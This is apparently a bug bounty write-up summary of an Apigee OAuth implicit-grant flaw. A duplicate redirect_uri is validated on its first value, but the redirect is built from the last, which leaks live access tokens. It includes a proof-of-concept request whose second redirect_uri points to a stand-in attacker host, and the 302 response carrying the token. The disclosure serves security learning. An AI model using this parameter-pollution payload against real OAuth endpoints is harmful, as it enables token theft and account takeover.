# The Callback Apigee Checked and Then Ignored

Apigee validated the first duplicate redirect_uri but built the implicit-grant redirect from the last, leaking live bearer tokens to an attacker callback.

- Payout: $5,000
- Severity: high
- Program: Google
- Found by: Nikita Markevich
- Disclosed: 2026-11-15
- Write-up quality: 9/10
- Original: https://bugs.exposed/posts/apigee-implicit-redirect-uri-token-theft
- Library page: https://bugbountylibrary.com/r/blog%3Abugs-exposed-posts-apigee-implicit-redirect-uri-token-theft
- Tags: area:cloud domain:cloud domain:web impact:ato kind:bounty platform:blog sev:high tech:oauth technique:param-pollution technique:parser-differential technique:source-review vuln:auth-bypass vuln:open-redirect

**Target:** OAuthV2 implicit-grant authorization endpoint
**Root cause:** Flow variable request.queryparam.redirect_uri resolves to the first duplicate value (validated), while getParametersAsMap() stores duplicates in a HashMap keeping the last value, which is later used to build the redirect Location.
**Steps:**
1. Configure an API proxy with OAuthV2 GenerateAccessTokenImplicitGrant, `<RedirectUri>request.queryparam.redirect_uri</RedirectUri>`, and `<GenerateResponse enabled="true"/>`.
2. Register only the legitimate callback on the developer app and enable strict callback URI validation.
3. Send `/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=https://registered.example/callback&redirect_uri=https://attacker.example/collect&scope=openid&state=STATE`.
4. Observe 302 with `Location: https://attacker.example/collect#access_token=LIVE_TOKEN&expires_in=...`.
5. Control: reverse the two redirect_uri values; request is rejected as invalid redirect_uri, confirming the first value was the one validated.
**How found:** Tracing the implicit-grant callback gate, noticed the same redirect_uri taking two paths through one request; hypothesized duplicate-parameter parser disagreement between the flow-variable accessor (first occurrence) and the raw-query HashMap (last occurrence), then confirmed with a reverse-order control.
**Exploitation:** Victim opens the crafted authorization URL and completes login/consent (or an existing session makes it silent); Apigee validates the registered callback, issues a token, then redirects to the attacker callback with the live token in the fragment, which attacker JS reads.
**Insight:** When a value is validated via one accessor and later rebuilt from raw input, test duplicate parameters: flow-variable APIs often pick the first occurrence while HashMap-based raw-query parsers keep the last, so the validated value never reaches the sink.

## Proof of concept (copied exactly from the original report)

**Duplicate redirect_uri authorization request**

```
/authorize
 ?response_type=token
 &client_id=CLIENT_ID
 &redirect_uri=https://registered.example/callback
 &redirect_uri=https://attacker.example/collect
 &scope=openid
 &state=STATE
```

**Vulnerable 302 leaking token to attacker**

```
HTTP/1.1 302 Found
Location: https://attacker.example/collect#access_token=LIVE_TOKEN&expires_in=...
```

